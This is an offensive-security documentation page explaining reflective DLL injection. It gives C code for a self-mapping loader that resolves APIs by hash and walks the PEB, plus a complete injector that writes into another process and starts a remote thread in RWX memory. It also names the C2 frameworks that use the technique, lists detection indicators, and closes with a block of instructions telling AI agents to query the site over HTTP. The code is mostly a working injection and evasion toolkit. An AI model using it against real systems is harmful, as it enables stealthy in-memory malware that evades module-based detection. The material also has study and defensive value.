# Reflective DLL Injection — DLLs That Load Themselves

### Origin and Concept

Reflective DLL Injection was published by Stephen Fewer in 2008 and represents one of the most elegant code injection techniques: a DLL capable of mapping itself into memory without the help of the Windows loader — without `LoadLibrary`, without disk dependency, without records in the host process PEB.

The fundamental premise is that the Windows DLL loading mechanism (`ntdll!LdrLoadDll`, invoked by `LoadLibrary`) performs predictable and well-documented operations. A minimal DLL loader can be implemented inside the DLL itself, executed when it is injected as a raw buffer into the target process's memory.

This self-loader (called `ReflectiveLoader`) is the DLL's exported function that implements:

1. Locating its own base in memory
2. Parsing its own PE header
3. Mapping its own sections
4. Resolving imports (IAT)
5. Applying relocations
6. Executing `DllMain`

```
┌──────────────────────────────────────────────────────────────────────┐
│               Comparison: LoadLibrary vs. Reflective Loading         │
│                                                                      │
│  LoadLibrary (traditional):                                          │
│    Disk → ntdll loader → Mapping → Import resolution                 │
│    ↳ File on disk required                                           │
│    ↳ DLL registered in PEB (InLoadOrderModuleList)                  │
│    ↳ Detectable by module enumeration                                │
│                                                                      │
│  Reflective Loading:                                                 │
│    Raw buffer in memory → ReflectiveLoader (inside DLL)              │
│       → Self mapping → Import resolution → DllMain                  │
│    ↳ No file on disk                                                 │
│    ↳ DLL NOT registered in PEB                                       │
│    ↳ Invisible to EnumProcessModules and GetModuleHandle             │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Reflective DLL Structure

A reflective DLL has the following structure:

```
┌─────────────────────────────────────────┐
│        Reflective DLL — Layout          │
│                                          │
│  PE Header (.text, .data, .rdata, etc.) │
│                                          │
│  Exports:                               │
│  ┌─────────────────────────────────┐    │
│  │  ReflectiveLoader ← boot func  │    │
│  │  (self-maps into memory)        │    │
│  └─────────────────────────────────┘    │
│  ┌─────────────────────────────────┐    │
│  │  DllMain        ← payload logic │    │
│  └─────────────────────────────────┘    │
│                                          │
│  .text section: ReflectiveLoader code + │
│                 payload code             │
└─────────────────────────────────────────┘
```

***

### Implementing the ReflectiveLoader

The heart of the technique. The loader must function without depending on any absolute addresses — it is position-independent code (PIC).

#### Step 1: Locate Its Own Base

The loader does not know at which address it was injected. It must find the beginning of the PE header by walking memory backwards from its own position:

```c
// Locates the start of the PE containing this code
ULONG_PTR GetReflectiveLoaderBase(void) {
    ULONG_PTR uiLibraryAddress;
    __asm__ volatile ("lea %0, [rip]" : "=r"(uiLibraryAddress));

    // Walk backwards in memory looking for "MZ" DOS magic (0x5A4D)
    while (TRUE) {
        if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) {
            ULONG_PTR ntOffset =
                ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
            if (((PIMAGE_NT_HEADERS)(uiLibraryAddress + ntOffset))->Signature
                == IMAGE_NT_SIGNATURE) {
                break;
            }
        }
        uiLibraryAddress--;
    }
    return uiLibraryAddress;
}
```

#### Step 2: Resolve kernel32 Addresses Without an Import Table

Since the DLL was manually loaded (without the Windows loader), the Import Address Table (IAT) has not yet been populated. The loader needs to resolve required functions by manually walking PEB structures:

```c
// Walk PEB.Ldr to find kernel32.dll
ULONG_PTR GetKernel32Base(void) {
    // Access PEB via GS:[0x60] (x64)
    ULONG_PTR peb;
    __asm__ volatile ("mov %0, gs:[0x60]" : "=r"(peb));

    // PEB->Ldr (offset 0x18)
    ULONG_PTR ldr = *(ULONG_PTR*)(peb + 0x18);

    // Ldr->InMemoryOrderModuleList (offset 0x20)
    ULONG_PTR list  = ldr + 0x20;
    ULONG_PTR entry = *(ULONG_PTR*)list;

    while (entry != list) {
        ULONG_PTR dllBase  = *(ULONG_PTR*)(entry + 0x20);
        USHORT    nameLen  = *(USHORT*)(entry + 0x50);
        WCHAR*    nameBuf  = *(WCHAR**)(entry + 0x58);

        // Case-insensitive compare with "kernel32.dll"
        if (nameLen == 24 && /* wchar compare */ ...) {
            return dllBase;
        }
        entry = *(ULONG_PTR*)entry;
    }
    return 0;
}
```

#### Step 3: Resolve GetProcAddress and LoadLibraryA by Hash

To reduce detectable strings and simplify the code, the ReflectiveLoader resolves functions by name hash:

```c
#define HASH_KEY            13
#define LOADLIBRARYA_HASH   0xEC0E4E8E
#define GETPROCADDRESS_HASH 0x7C0DFCAA
#define VIRTUALALLOC_HASH   0x91AFCA54

DWORD HashFunctionName(const char* name) {
    DWORD hash = 0;
    while (*name) {
        hash = ror32(hash, HASH_KEY);
        hash += *name;
        name++;
    }
    return hash;
}

ULONG_PTR GetExportByHash(ULONG_PTR moduleBase, DWORD targetHash) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)moduleBase;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(moduleBase + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        moduleBase + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)(moduleBase + exp->AddressOfNames);
    WORD*  ords  = (WORD*) (moduleBase + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)(moduleBase + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (char*)(moduleBase + names[i]);
        if (HashFunctionName(name) == targetHash) {
            return moduleBase + funcs[ords[i]];
        }
    }
    return 0;
}
```

#### Step 4: Allocate Memory and Map Sections

```c
ULONG_PTR ReflectiveLoader(void) {
    ULONG_PTR uiLibraryAddress = GetReflectiveLoaderBase();
    ULONG_PTR uiKernel32       = GetKernel32Base();

    VIRTUALALLOC   pVirtualAlloc   = (VIRTUALALLOC)GetExportByHash(uiKernel32, VIRTUALALLOC_HASH);
    LOADLIBRARYA   pLoadLibraryA   = (LOADLIBRARYA)GetExportByHash(uiKernel32, LOADLIBRARYA_HASH);
    GETPROCADDRESS pGetProcAddress = (GETPROCADDRESS)GetExportByHash(uiKernel32, GETPROCADDRESS_HASH);

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)uiLibraryAddress;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)(uiLibraryAddress + dos->e_lfanew);

    // Allocate memory for the mapped image
    ULONG_PTR uiBaseAddress = (ULONG_PTR)pVirtualAlloc(
        (LPVOID)nt->OptionalHeader.ImageBase,
        nt->OptionalHeader.SizeOfImage,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE
    );

    if (!uiBaseAddress) {
        uiBaseAddress = (ULONG_PTR)pVirtualAlloc(
            NULL,
            nt->OptionalHeader.SizeOfImage,
            MEM_RESERVE | MEM_COMMIT,
            PAGE_EXECUTE_READWRITE
        );
    }

    // Copy PE headers
    memcpy((void*)uiBaseAddress, (void*)uiLibraryAddress,
           nt->OptionalHeader.SizeOfHeaders);

    // Copy sections
    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        memcpy(
            (void*)(uiBaseAddress + sec->VirtualAddress),
            (void*)(uiLibraryAddress + sec->PointerToRawData),
            sec->SizeOfRawData
        );
    }

    // ... [Relocations, Import resolution, DllMain call]

    return uiBaseAddress;
}
```

***

### The Injector Side: Injecting the Reflective DLL

The process that injects the reflective DLL into the victim does not need to do anything sophisticated:

```c
BOOL InjectReflectiveDLL(DWORD pid, PVOID dllBuffer, DWORD dllSize) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return FALSE;

    // Allocate memory in the target process for the raw DLL buffer
    PVOID pRemoteBuffer = VirtualAllocEx(
        hProcess, NULL, dllSize,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE
    );

    // Copy the raw (not mapped) DLL to the target process
    WriteProcessMemory(hProcess, pRemoteBuffer, dllBuffer, dllSize, NULL);

    // Find the ReflectiveLoader offset in the raw DLL
    DWORD loaderOffset = FindReflectiveLoaderOffset(dllBuffer);
    PVOID pLoaderAddr  = (BYTE*)pRemoteBuffer + loaderOffset;

    // Create thread pointing to the ReflectiveLoader
    HANDLE hThread = CreateRemoteThread(
        hProcess, NULL, 0,
        (LPTHREAD_START_ROUTINE)pLoaderAddr,
        NULL, 0, NULL
    );

    WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

// Find the "ReflectiveLoader" export in the raw DLL
DWORD FindReflectiveLoaderOffset(PVOID dllBuffer) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)dllBuffer;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)dllBuffer + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)dllBuffer + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)((BYTE*)dllBuffer + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)dllBuffer + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)dllBuffer + exp->AddressOfFunctions);

    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        const char* name = (char*)((BYTE*)dllBuffer + names[i]);
        if (strcmp(name, "ReflectiveLoader") == 0) {
            return funcs[ords[i]];
        }
    }
    return 0;
}
```

***

### Practical Applications

Widely-used offensive frameworks implement Reflective DLL Injection as their primary mechanism:

* **Cobalt Strike**: The Beacon is a reflective DLL. The stager injects the raw beacon into memory.
* **Metasploit**: `meterpreter/reverse_tcp` uses reflective loading.
* **Havoc C2**: DLL-based payloads using reflective loading.
* **Sliver C2**: Windows implants implement reflective loading.

***

### Detection

```
┌──────────────────────────────────────────────────────────────────────┐
│           Reflective DLL Injection Indicators                        │
│                                                                      │
│  1. Module absent from PEB (InLoadOrderModuleList)                   │
│     • Process Hacker, Volatility malfind, pe-sieve detect this      │
│     • Executable region with no corresponding module                 │
│                                                                      │
│  2. Memory region with PE header but no file path                   │
│     • VirtualQuery shows private region with MBI_TYPE = MEM_PRIVATE │
│     • Legitimate would be MEM_IMAGE with an associated path          │
│                                                                      │
│  3. CreateRemoteThread pointing to heap or RWX region               │
│     • Thread start address in non-module page                        │
│                                                                      │
│  4. Write + CreateRemoteThread pattern                               │
│     • WriteProcessMemory followed immediately by CreateRemoteThread  │
│                                                                      │
│  5. Memory scan for "MZ" + "PE\0\0" strings in private regions      │
│     • Signals a raw injected PE                                      │
└──────────────────────────────────────────────────────────────────────┘
```

***

### References

* Stephen Fewer, "Reflective DLL Injection" — harmonysecurity.com (2008)
* github.com/stephenfewer/ReflectiveDLLInjection — original implementation
* ired.team, "Reflective DLL Injection" — ired.team/offensive-security/code-injection-process-injection/
* Jared Atkinson, "Understanding and Detecting Reflective Code Loading" — SpecterOps (2021)
* MITRE ATT\&CK, "T1055.001 — Dynamic-link Library Injection" — attack.mitre.org
* Elastic Security, "Hunting for Reflective DLL Injection" — elastic.co/security-labs (2022)
* Craig Rowland, "Detecting Reflective DLL Injection" — sandflysecurity.com
* Kyle Hanslovan, "Detecting Reflective Injection" — huntress.com (2020)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/reflective-dll-injection-dlls-that-load-themselves.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
